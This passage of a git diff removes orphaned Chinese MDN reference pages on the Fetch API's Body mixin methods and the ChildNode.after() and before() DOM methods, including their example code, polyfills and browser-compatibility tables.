response.blob()) -.then(blob => URL.createObjectURL(blob)) -.then(url => console.log(image.src = url)) -.catch(err => console.error(err));</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - <tr> - <td>{{SpecName('Fetch','#dom-body-body','body')}}</td> - <td>{{Spec2('Fetch')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<div>{{Compat("api.Body.body")}}</div> - -<p> </p> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li> - <li><a href="/en-US/docs/Web/API/Streams_API">Streams API</a></li> - <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/body/bodyused/index.html b/files/zh-cn/orphaned/web/api/body/bodyused/index.html deleted file mode 100644 index a875ab79d1..0000000000 --- a/files/zh-cn/orphaned/web/api/body/bodyused/index.html +++ /dev/null @@ -1,135 +0,0 @@ ---- -title: Body.bodyUsed -slug: orphaned/Web/API/Body/bodyUsed -translation_of: Web/API/Body/bodyUsed -original_slug: Web/API/Body/bodyUsed ---- -<p>{{APIRef("Fetch")}}{{ SeeCompatTable }}</p> - -<p><strong><code>bodyUsed</code></strong><code> 是</code>{{domxref("Body")}} mixin中的一个<code>只读属性。用以表示该body是否被使用过。</code></p> - -<h2 id="语法">语法</h2> - -<pre class="brush: js">var myBodyUsed = response.bodyUsed;</pre> - -<h3 id="可能的值">可能的值</h3> - -<p>{{domxref("Boolean")}}.</p> - -<h2 id="示例">示例</h2> - -<p>在以下<a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-request">fetch 请求示例</a>(运行 <a href="http://mdn.github.io/fetch-examples/fetch-request/">fetch request live</a>)。通过{{domxref("Request.Request")}}构造器创建了一个fetch请求,来获得一张JPG图片。当fetch成功后,通过{{domxref("Blob")}} 来使用了fetch返回的资源--{{domxref("URL.createObjectURL")}}创建该资源的URL,并作为 {{htmlelement("img")}}元素的src源来显示图片。</p> - -<p>注意:<code>在response.blob()被调用前后,</code>输出<code>response.bodyUsed的差异。</code></p> - -<h3 id="HTML_Content">HTML Content</h3> - -<pre class="brush: html"><img class="my-image" src="https://wikipedia.org/static/images/project-logos/frwiki-1.5x.png"> -</pre> - -<h3 id="JS_Content">JS Content</h3> - -<pre class="brush: js">var myImage = document.querySelector('.my-image'); -fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/Delete_key1.jpg').then(function(response) { - console.log(response.bodyUsed); - var res = response.blob(); - console.log(response.bodyUsed); - return res; -}).then(function(response) { - var objectURL = URL.createObjectURL(response); - myImage.src = objectURL; -});</pre> - -<p>{{ EmbedLiveSample('Example', '100%', '250px') }}</p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('Fetch','#dom-body-bodyused','bodyUsed')}}</td> - <td>{{Spec2('Fetch')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{ CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatChrome(42) }} [1]<br> - </td> - <td>{{CompatVersionUnknown}}</td> - <td>{{ CompatGeckoDesktop(39)}} [2]</td> - <td>{{ CompatNo }}</td> - <td> - <p>29 [3]</p> - </td> - <td>{{ CompatNo }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>Firefox OS (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - <th>Chrome for Android</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatNo }}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] Behind a preference in version 41.</p> - -<p>[2] Behind a preference starting with version 34.</p> - -<p>[3] Behind a preference in version 28.</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> - <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> - <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/body/formdata/index.html b/files/zh-cn/orphaned/web/api/body/formdata/index.html deleted file mode 100644 index 2e415887cd..0000000000 --- a/files/zh-cn/orphaned/web/api/body/formdata/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: Body.formData() -slug: orphaned/Web/API/Body/formData -translation_of: Web/API/Body/formData -original_slug: Web/API/Body/formData ---- -<div>{{APIRef("Fetch")}}</div> - -<p> {{domxref("Body")}} 对象中的<strong><code>formData()</code></strong> 方法将 {{domxref("Response")}} 对象中的所承载的数据流读取并封装成为一个对象,该方法将返回一个 <strong><code>Promise</code></strong> 对象,该对象将产生一个{{domxref("FormData")}} 对象。</p> - -<div class="note"> -<p><strong>注意</strong>: 该方法主要与 <a href="/en-US/docs/Web/API/ServiceWorker_API">service workers</a> 有关. 如果客户端提交的一个表单请求被Service Worker 所截取,您可以像下述的样例一样,调用 <code>formData()</code> 方法来获取一个key-value 字典, 对该字典可以进行修饰, 然后将修饰后的表填提交给远端服务器 (或在本地应用)。</p> -</div> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">response.formData() -.then(function(formdata) { - // do something with your formdata -});</pre> - -<h3 id="参数">参数</h3> - -<p>无。</p> - -<h3 id="返回值">返回值</h3> - -<p>生成 {{domxref("FormData")}}对象的{{domxref("Promise")}} 对象.</p> - -<h2 id="样例">样例</h2> - -<p>待定.</p> - -<h2 id="详述">详述</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('Fetch','#dom-body-formdata','formData()')}}</td> - <td>{{Spec2('Fetch')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{ CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td> - <p>{{CompatChrome(60)}}</p> - </td> - <td>{{ CompatGeckoDesktop(39)}} [1]</td> - <td>{{ CompatNo }}</td> - <td> - <p>{{CompatOpera(47)}}</p> - </td> - <td>{{ CompatNo }}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android Webview</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>Firefox OS (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td> - <p>{{CompatChrome(60)}}</p> - </td> - <td> - <p>{{CompatChrome(60)}}</p> - </td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td>{{ CompatNo }}</td> - <td> - <p>{{CompatOperaMobile(47)}}</p> - </td> - <td>{{ CompatNo }}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] Behind a preference starting with version 34.</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> - <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> - <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/body/index.html b/files/zh-cn/orphaned/web/api/body/index.html deleted file mode 100644 index 0b12fa7259..0000000000 --- a/files/zh-cn/orphaned/web/api/body/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Body -slug: orphaned/Web/API/Body -tags: - - API - - BODY - - Fetch - - bolb() - - json() - - request -translation_of: Web/API/Body -original_slug: Web/API/Body ---- -<p>{{ APIRef("Fetch") }}</p> - -<p><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> 中的 <strong><code>Body</code></strong> {{glossary("mixin")}} 代表响应/请求的正文,允许你声明其内容类型是什么以及应该如何处理。</p> - -<p><code>Body</code>被{{domxref("Request")}} 和{{domxref("Response")}}实现,并为这些对象提供了一个相关联的主体(字节流),一个已使用的标志(最初未设置)和一个MIME类型(最初为空字节序列)。</p> - -<h2 id="属性">属性</h2> - -<dl> - <dt>{{domxref("Body.body")}} {{readonlyInline}}</dt> - <dd>一个简单的getter用于暴露一个{{domxref("ReadableStream")}}类型的主体内容。</dd> - <dt>{{domxref("Body.bodyUsed")}} {{readonlyInline}}</dt> - <dd>一个{{domxref("Boolean")}} 值指示是否body已经被标记读取。</dd> -</dl> - -<h2 id="方法">方法</h2> - -<dl> - <dt>{{domxref("Body.arrayBuffer()")}}</dt> - <dd>使{{domxref("Response")}}挂起一个流操作并且在完成时读取其值,它返回一个{{domxref("Promise")}}对象,其resolve参数类型是{{domxref("ArrayBuffer")}}。此操作会将bodyUsed状态改为已使用(true)。</dd> - <dt>{{domxref("Body.blob()")}}</dt> - <dd>使{{domxref("Response")}}挂起一个流操作并且在完成时读取其值,它返回一个{{domxref("Promise")}}对象,其resolve参数类型是{{domxref("Blob")}}。此操作会将bodyUsed状态改为已使用(true)。</dd> - <dt>{{domxref("Body.formData()")}}</dt> - <dd>使{{domxref("Response")}}挂起一个流操作并且在完成时读取其值,它返回一个{{domxref("Promise")}}对象,其resolve参数类型是{{domxref("FormData")}}表单。此操作会将bodyUsed状态改为已使用(true)。</dd> - <dt>{{domxref("Body.json()")}}</dt> - <dd>使{{domxref("Response")}}挂起一个流操作并且在完成时读取其值,它返回一个{{domxref("Promise")}}对象,其resolve参数类型是使用{{jsxref("JSON")}}解析body文本的结果。此操作会将bodyUsed状态改为已使用(true)。</dd> - <dt>{{domxref("Body.text()")}}</dt> - <dd>使{{domxref("Response")}}挂起一个流操作并且在完成时读取其值,它返回一个{{domxref("Promise")}}对象,其resolve参数类型是{{domxref("USVString")}}(文本)。此操作会将bodyUsed状态改为已使用(true)。</dd> -</dl> - -<h2 id="范例">范例</h2> - -<p>在<a href="https://github.com/mdn/fetch-examples/tree/gh-pages/basic-fetch">基本 fetch 使用实例</a> (<a href="http://mdn.github.io/fetch-examples/basic-fetch/">查看运行效果</a>) 中,我们使用简单的 fetch 请求获取一张图片并将其使用 {{htmlelement("img")}} 标签展示。你可能注意到当我们请求一张图片,需要使用 {{domxref("Body.blob")}} ({{domxref("Response")}} 实现 body 接口以发送正确的MIME类型给服务器进行识别。</p> - -<h3 id="HTML_内容">HTML 内容</h3> - -<pre class="brush: html"><img class="my-image" src="https://wikipedia.org/static/images/project-logos/frwiki-1.5x.png"> -</pre> - -<h3 id="JS_内容">JS 内容</h3> - -<pre class="brush: js">var myImage = document.querySelector('.my-image'); -fetch('flowers.jpg').then(function(response) { - return response.blob(); -}).then(function(response) { - var objectURL = URL.createObjectURL(response); - myImage.src = objectURL; -});</pre> - -<p>你也可以使用 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Response/Response" title="The Response() constructor creates a new Response object."><code>Response.Response()</code></a> 构造函数创建自定义的 <code>Response</code> 对象。</p> - -<pre><code>const response = new Response();</code> -</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('Fetch','#body-mixin','Body')}}</td> - <td>{{Spec2('Fetch')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容情况">浏览器兼容情况</h2> - -<p>{{Compat("api.Body")}}</p> - -<h2 id="也可以看看">也可以看看</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> - <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> - <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> -</ul> - -<p> </p> diff --git a/files/zh-cn/orphaned/web/api/body/json/index.html b/files/zh-cn/orphaned/web/api/body/json/index.html deleted file mode 100644 index 54bd1c5c3e..0000000000 --- a/files/zh-cn/orphaned/web/api/body/json/index.html +++ /dev/null @@ -1,91 +0,0 @@ ---- -title: Body.json() -slug: orphaned/Web/API/Body/json -tags: - - API - - BODY - - Fetch - - JSON - - 参考 - - 方法 -translation_of: Web/API/Body/json -original_slug: Web/API/Body/json ---- -<div>{{APIRef("Fetch")}}</div> - -<div>{{domxref("Body")}} mixin 的 <strong><code>json()</code></strong> 方法接收一个 {{domxref("Response")}} 流,并将其读取完成。它返回一个 Promise,Promise 的解析 resolve 结果是将文本体解析为 {{jsxref("JSON")}}。</div> - -<h2 id="语法">语法</h2> - -<pre class="brush: js">response.json().then(data => { - // do something with your data -});</pre> - -<h3 id="参数">参数</h3> - -<p>没有。</p> - -<h3 id="返回值">返回值</h3> - -<p>返回一个被解析为<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/JSON" title="此页面仍未被本地化, 期待您的翻译!"><code>JSON</code></a>格式的promise对象,这可以是任何可以由JSON表示的东西 - 一个object,一个array,一个string,一个number...</p> - -<h2 id="示例">示例</h2> - -<p>在我们的 <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-json">fetch json 示例</a> 中(运行 <a href="http://mdn.github.io/fetch-examples/fetch-json/">fetch json live</a>), 我们使用 {{domxref("Request.Request")}} 构造函数创建一个新的请求, 然后使用它来获取一个 <code>.json</code> 文件。当获取成功时,我们使用 <code>json()</code> 读取并解析数据,然后像预期的那样从结果对象中读取值,并将其插入到列表项中以显示我们的产品数据。</p> - -<pre class="brush: js highlight[5]">const myList = document.querySelector('ul'); -const myRequest = new Request('products.json'); - -fetch(myRequest) - .then(response => response.json()) - .then(data => { - for (const product of data.products) { - let listItem = document.createElement('li'); - listItem.appendChild( - document.createElement('strong') - ).textContent = product.Name; - listItem.append( - ` can be found in ${ - product.Location - }. Cost: ` - ); - listItem.appendChild( - document.createElement('strong') - ).textContent = `£${product.Price}`; - myList.appendChild(listItem); - } - });</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName("Fetch", "#dom-body-json", "Body.json()")}}</td> - <td>{{Spec2("Fetch")}}</td> - <td>Initial definition</td> - </tr> - </tbody> -</table> - - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.Body.json")}}</p> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li><a href="/zh-CN/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> - <li><a href="/zh-CN/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> - <li><a href="/zh-CN/docs/Web/HTTP">HTTP</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/body/text/index.html b/files/zh-cn/orphaned/web/api/body/text/index.html deleted file mode 100644 index 320d294861..0000000000 --- a/files/zh-cn/orphaned/web/api/body/text/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Body.text() -slug: orphaned/Web/API/Body/text -tags: - - API - - Fetch - - 参考 - - 方法 -translation_of: Web/API/Body/text -original_slug: Web/API/Body/text ---- -<div>{{APIRef("Fetch")}}</div> - -<p>{{domxref("Body")}} mixin 的 <strong><code>text()</code></strong> 方法提供了一个可供读取的“返回流”({{domxref("Response")}} stream),并将它读取完。它返回一个包含 {{domxref("USVString")}} 对象(也就是文本)的 Promise 对象,返回结果的编码<em>永远是</em> UTF-8。</p> - -<h2 id="语法">语法</h2> - -<pre class="brush: js">response.text().then(function (text) { - // do something with the text response -});</pre> - -<h3 id="参数">参数</h3> - -<p>无。</p> - -<h3 id="返回值">返回值</h3> - -<p>A promise that resolves with a {{domxref("USVString")}}.</p> - -<h2 id="示例">示例</h2> - -<p>在我们 <a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-text">fetch text example</a> (运行 <a href="http://mdn.github.io/fetch-examples/fetch-text/">fetch text live</a>)的案例中, 我们有一个 {{htmlelement("article")}} 元素和三个链接(储存在 <code>myLinks </code> 数组中),首先,遍历 <code>myLinks </code> 数组,并且给数组中的所有元素添加 <code>onclick</code> 事件监听器,当按钮被点击的时候,链接的 <code>data-page</code> 标识作为会参数传入 <code>getData()</code> 中。</p> - -<p>当进入 <code>getData()</code> 函数, 我们使用 {{domxref("Request.Request","Request()")}} 构造函数创建了一个请求(Request)对象,然后,使用它获取指定的<code>.txt</code>的文件, 当fetch 函数执行成功, 我们使用 <code>text()</code> 函数来返回一个{{jsxref("USVString")}} (text) 对象,将它设置到 {{htmlelement("article")}} 对象的{{domxref("Element.innerHTML","innerHTML")}} (元素文本)中。</p> - -<pre class="brush: js">const myArticle = document.querySelector('article'); -const myLinks = document.querySelectorAll('ul a'); - -for(i = 0; i <= myLinks.length-1; i++) { - myLinks[i].onclick = function(e) { - e.preventDefault(); - var linkData = e.target.getAttribute('data-page'); - getData(linkData); - } -}; - -function getData(pageId) { - console.log(pageId); - const myRequest = new Request(pageId + '.txt'); - fetch(myRequest).then(function(response) { - return response.text().then(function(text) { - myArticle.innerHTML = text; - }); - }); -}</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - <tr> - <td>{{SpecName('Fetch','#dom-body-text','text()')}}</td> - <td>{{Spec2('Fetch')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("api.Body.text")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/zh-CN/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> - <li><a href="/zh-CN/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> - <li><a href="/zh-CN/docs/Web/HTTP">HTTP</a></li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/childnode/after/index.html b/files/zh-cn/orphaned/web/api/childnode/after/index.html deleted file mode 100644 index 76792e7638..0000000000 --- a/files/zh-cn/orphaned/web/api/childnode/after/index.html +++ /dev/null @@ -1,176 +0,0 @@ ---- -title: ChildNode.after() -slug: orphaned/Web/API/ChildNode/after -translation_of: Web/API/ChildNode/after -original_slug: Web/API/ChildNode/after ---- -<div>{{APIRef("DOM")}}</div> - -<p><strong><code>ChildNode.after()</code> </strong>方法会在其父节点的子节点列表中插入一些<font face="Consolas, Liberation Mono, Courier, monospace"> </font>{{domxref("Node")}} 或<font face="Consolas, Liberation Mono, Courier, monospace"> </font>{{domxref("DOMString")}} 对象。插入位置为该节点之后。{{domxref("DOMString")}} 对象会被以<font face="Consolas, Liberation Mono, Courier, monospace"> </font>{{domxref("Text")}} 的形式插入。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox notranslate">[Throws, Unscopable] -void ChildNode.after((Node or DOMString)... nodes); -</pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><code>nodes</code></dt> - <dd>一组准备插入的 {{domxref("Node")}} 或 {{domxref("DOMString")}} 。</dd> -</dl> - -<h3 id="错误">错误</h3> - -<ul> - <li>{{domxref("HierarchyRequestError")}}: 在某些不正确的层级结构进行了插入操作。</li> -</ul> - -<h2 id="示例">示例</h2> - -<h3 id="插入元素">插入元素</h3> - -<pre class="brush: js notranslate">var parent = document.createElement("div"); -var child = document.createElement("p"); -parent.appendChild(child); -var span = document.createElement("span"); - -child.after(span); - -console.log(parent.outerHTML); -// "<div><p></p><span></span></div>" -</pre> - -<h3 id="插入文本">插入文本</h3> - -<pre class="brush: js notranslate">var parent = document.createElement("div"); -var child = document.createElement("p"); -parent.appendChild(child); - -child.after("Text"); - -console.log(parent.outerHTML); -// "<div><p></p>Text</div>"</pre> - -<h3 id="同时插入元素和文本">同时插入元素和文本</h3> - -<pre class="brush: js notranslate">var parent = document.createElement("div"); -var child = document.createElement("p"); -parent.appendChild(child); -var span = document.createElement("span"); - -child.after(span, "Text"); - -console.log(parent.outerHTML); -// "<div><p></p><span></span>Text</div>"</pre> - -<h3 id="ChildNode.after_会被_with_环境排除"><code>ChildNode.after()</code> 会被 with 环境排除</h3> - -<p><code>after()</code> 方法不在 <code>with 环境的范围内,可以查看</code> {{jsxref("Symbol.unscopables")}} 来了解更多信息。</p> - -<pre class="brush: js notranslate">with(node) { - after("foo"); -} -// ReferenceError: after is not defined </pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p>You can polyfill the <code>after()</code> method in Internet Explorer 9 and higher with the following code:</p> - -<pre class="brush: js notranslate">// from: https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/after()/after().md -(function (arr) { - arr.forEach(function (item) { - if (item.hasOwnProperty('after')) { - return; - } - Object.defineProperty(item, 'after', { - configurable: true, - enumerable: true, - writable: true, - value: function after() { - var argArr = Array.prototype.slice.call(arguments), - docFrag = document.createDocumentFragment(); - - argArr.forEach(function (argItem) { - var isNode = argItem instanceof Node; - docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem))); - }); - - this.parentNode.insertBefore(docFrag, this.nextSibling); - } - }); - }); -})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre> - -<h3 id="Another_polyfill">Another polyfill</h3> - -<pre class="brush: js notranslate">// from: https://github.com/FabioVergani/js-Polyfill_Element.prototype.after/blob/master/after.js - -(function(x){ - var o=x.prototype,p='after'; - if(!o[p]){ - o[p]=function(){ - var e, m=arguments, l=m.length, i=0, t=this, p=t.parentNode, n=Node, s=String, d=document; - if(p!==null){ - while(i<l){ - e=m[i]; - if(e instanceof n){ - t=t.nextSibling; - if(t!==null){ - p.insertBefore(e,t); - }else{ - p.appendChild(e); - }; - }else{ - p.appendChild(d.createTextNode(s(e))); - }; - ++i; - }; - }; - }; - }; -})(Element); - - - -/* -minified: - -(function(x){ - var o=x.prototype; - o.after||(o.after=function(){var e,m=arguments,l=m.length,i=0,t=this,p=t.parentNode,n=Node,s=String,d=document;if(p!==null){while(i<l){((e=m[i]) instanceof n)?(((t=t.nextSibling )!==null)?p.insertBefore(e,t):p.appendChild(e)):p.appendChild(d.createTextNode(s(e)));++i;}}}); -}(Element)); -*/</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#dom-childnode-after', 'ChildNode.after()')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{Compat("api.ChildNode.after")}}</p> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{domxref("ChildNode")}} 和 {{domxref("ParentNode")}}</li> - <li>{{domxref("ChildNode.before()")}}</li> - <li>{{domxref("ParentNode.append()")}}</li> - <li>{{domxref("Node.appendChild()")}}</li> - <li>{{domxref("Element.insertAdjacentElement()")}}</li> - <li>{{domxref("NodeList")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/childnode/before/index.html b/files/zh-cn/orphaned/web/api/childnode/before/index.html deleted file mode 100644 index add3dab015..0000000000 --- a/files/zh-cn/orphaned/web/api/childnode/before/index.html +++ /dev/null @@ -1,188 +0,0 @@ ---- -title: ChildNode.before() -slug: orphaned/Web/API/ChildNode/before -tags: - - api、dom、节点、方法 -translation_of: Web/API/ChildNode/before -original_slug: Web/API/ChildNode/before ---- -<div>{{APIRef("DOM")}} {{SeeCompatTable}}</div> - -<p> <code><strong>ChildNode</strong></code><strong><code>.before</code></strong> 方法可以在<code>ChildNode这个节点的父节点中插入一些列的</code> {{domxref("Node")}} 或者 {{domxref("DOMString")}} 对象,位置就是在<code>ChildNode节点的前面,</code>{{domxref("DOMString")}} 对象其实和 {{domxref("Text")}}节点一样的方式来完成插入的。</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">[Throws, Unscopable] -void ChildNode.before((Node or DOMString)... nodes); -</pre> - -<h3 id="Parameters参数">Parameters参数</h3> - -<dl> - <dt><code>nodes</code></dt> - <dd>一系列的 {{domxref("Node")}} 或者 {{domxref("DOMString")}} </dd> -</dl> - -<h3 id="Exceptions">Exceptions</h3> - -<ul> - <li>{{domxref("HierarchyRequestError")}}: 当节点插入了错误的层级就会出现报错,需要遵循html标签的层级关系,</li> -</ul> - -<h2 id="Examples事例">Examples事例</h2> - -<h3 id="Inserting_an_element插入元素节点">Inserting an element插入元素节点</h3> - -<pre class="brush: js">var parent = document.createElement("div"); -var child = document.createElement("p"); -parent.appendChild(child); -var span = document.createElement("span"); - -child.before(span); - -console.log(parent.outerHTML); -// "<div><span></span><p></p></div>" -</pre> - -<h3 id="Inserting_text插入文本节点">Inserting text插入文本节点</h3> - -<pre class="brush: js">var parent = document.createElement("div"); -var child = document.createElement("p"); -parent.appendChild(child); - -child.before("Text"); - -console.log(parent.outerHTML); -// "<div>Text<p></p></div>"</pre> - -<h3 id="Inserting_an_element_and_text同时插入文本和元素">Inserting an element and text同时插入文本和元素</h3> - -<pre class="brush: js">var parent = document.createElement("div"); -var child = document.createElement("p"); -parent.appendChild(child); -var span = document.createElement("span"); - -child.before(span, "Text"); - -console.log(parent.outerHTML); -// "<div><span></span>Text<p></p></div>"</pre> - -<h3 id="ChildNode.before()_is_unscopable不可使用区域"><code>ChildNode.before()</code> is unscopable不可使用区域</h3> - -<p>The <code>before()</code> 不能配合with声明使用,See {{jsxref("Symbol.unscopables")}} for more information.</p> - -<pre class="brush: js">with(node) { - before("foo"); -} -// ReferenceError: before is not defined </pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p>兼容ie9或者更高版本的方法,You can polyfill the <code>before() method</code> in Internet Explorer 9 and higher with the following code:</p> - -<pre class="brush: js">// from: https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/before()/before().md -(function (arr) { - arr.forEach(function (item) { - if (item.hasOwnProperty('before')) { - return; - } - Object.defineProperty(item, 'before', { - configurable: true, - enumerable: true, - writable: true, - value: function before() { - var argArr = Array.prototype.slice.call(arguments), - docFrag = document.createDocumentFragment(); - - argArr.forEach(function (argItem) { - var isNode = argItem instanceof Node; - docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem))); - }); - - this.parentNode.insertBefore(docFrag, this); - } - }); - }); -})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);</pre> - -<h2 id="Specification">Specification</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('DOM WHATWG', '#dom-childnode-before', 'ChildNode.before()')}}</td> - <td>{{Spec2('DOM WHATWG')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatChrome(54.0)}}</td> - <td>{{CompatGeckoDesktop(49)}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatOpera(39)}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Android Webview</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - <th>Chrome for Android</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>{{CompatChrome(54.0)}}</td> - <td>{{CompatGeckoMobile(49)}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatOpera(39)}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatChrome(54.0)}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{domxref("ChildNode")}} and {{domxref("ParentNode")}}</li> - <li>{{domxref("ChildNode.after()")}}</li> - <li>{{domxref("ParentNode.append()")}}</li> - <li>{{domxref("Node.appendChild()")}}</li> - <li>{{domxref("Node.insertBefore()")}}</li> - <li>{{domxref("NodeList")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/api/childnode/index.html b/files/zh-cn/orphaned/web/api/childnode/index.html deleted file mode 100644 index f223684bb2..0000000000 --- a/files/zh-cn/orphaned/web/api/childnode/index.html +++ 